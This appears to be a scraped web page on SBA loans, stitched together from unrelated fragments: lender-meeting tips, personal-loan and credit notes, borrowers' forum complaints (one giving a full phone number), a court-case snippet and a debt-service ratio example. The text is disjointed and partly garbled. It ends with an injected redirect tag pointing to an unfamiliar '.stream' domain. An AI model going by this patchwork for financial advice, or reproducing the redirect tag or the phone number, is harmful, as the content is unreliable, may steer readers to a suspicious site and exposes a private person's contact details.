We need to proactively contact the SBA and work out a settlement. If you fail to do so, at some point you will receive a notice form the Department of Treasury and we will need to negotiate with them. They will tack 30% on to the amount owed, which is legal per the SBA loan documents that you probably signed. Treasury is much harder to deal with than the SBA.
Instead, you’ll have to rely on business credit cards, borrowing from friends and family, crowdfunding, personal loans or a microloan from a nonprofit lender. Here’s more information on startup business loans.
• Meet with lender(s). You (and your advisors) should dress in a professional manner, as it is important for the lender to get an immediate positive impression, Anderson says. After a brief introduction, you should present the lender with two copies of your business plan, including your financial projections. You should discuss your business including the loan you are requesting (a formal written presentation is not required). The lender will ask questions and you should be prepared to provide detailed information in response. “Make the lender feel comfortable doing business with you,” Anderson says. If the lender is comfortable with the relationship, s/he will provide you with an SBA Loan Package that includes forms required by the SBA and information the lender requires. (SBA loan applications from different lenders are similar, but can vary.) One such form is authorization for the lender to access your personal credit reports — it is generally wise to minimize the number of such authorizations, as each time a lender checks your credit it will impact your FICO Score.
Personal loans can be a sensible alternative to small business loans in situations where the small business doesn’t yet have a solid history of profit, or can’t currently provide the documentation and analysis a bank requires to consider a small business loan. The personal loan is issued to an individual—the business owner—based on their credit. It is ultimately their responsibility to pay back the loan.
Sorry to hear all these stories. I have been through this and used an SBA specialized attorney. We were willing to settle from the day we closed the business. Once lawyers got involved it took over a year. In the end we ended up paying the total loan amount over two years, and the banks lawyer fees. Our OIC was refused by the SBA. I could’ve made the same agreement on day one and avoided the substantial lawyer fees but no one would talk to us. I did consider just letting it go to the treasury but the one thing that did not let me do it was the lawyer fees that would continue to accumulate. These will sometimes end up being more then what you originally owed. Looking back the only people that make out in these situations are lawyers . I almost think it might have been better to do nothing and not answer and lawsuits and then file bankruptcy. I would never recommend anyone get an SBA loan to start up a business. Odds are your business will fail and they collateralize the loan as close to 100% as they can get. The personal gaurantee makes you liable for the rest. I wish everyone luck. Its not the end of the world and life will go on.
Note: SBA guaranteed loans are based on a working arrangement between the SBA and the bank. The SBA doesn’t lend money, and it doesn’t interface with borrowers. Banks and other participating lenders decide whether or not to approve loan applications, and then they apply directly to the SBA for the guarantee. Note: not all banks participate with the SBA.
I owned a commercial building in Arizona. In 2013 the building went to foreclosure sale. I had an SBA 504. The property went back to the 1st Lien holder, but the debenture/SBA is trying to collect from me and my ex-wife. I could use someone experienced in this field. The debt is for $600k. I can be reached by phone at 818-970-5778.
More than likely, you’ll need an excellent business credit score as well as good personal credit to qualify for an SBA loan or traditional loan from a bank; this will depend on the individual lender and business factors such as your revenue, cash flow and time in business. In general, online lenders look personal credit scores but can be a bit more lenient when it comes to credit score requirements, as they place more emphasis on your business’s cash flow and track record.
In her defense, Ms. Watson’s lawyer seized upon what he saw as the flaws in National Collegiate’s paperwork. Judge Eddie McShan of New York City’s Civil Court in the Bronx agreed and dismissed four lawsuits against Ms. Watson. The trusts “failed to establish the chain of title” on Ms. Watson’s loans, he wrote in one ruling.
What can we do to protect ourselves and our parents? We have a small cash offer for the total debt of the property that will cover the first on the property but the second loan which is SBA guaranteed will not be covered.
Let’s take an average month of operations sales and expenses. Let’s assume the cash flow of your small business is $6,000 (gross sales minus expenses). Now let’s assume that your loan payments will total $1,500 per month. That makes your DSCR a 4, which is pretty strong. Most lenders will look for a score of at least 1.5 and definitely above a score of 1. A DSCR of less than 1 means you don’t have enough free cash flow to repay your loan from business operations. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]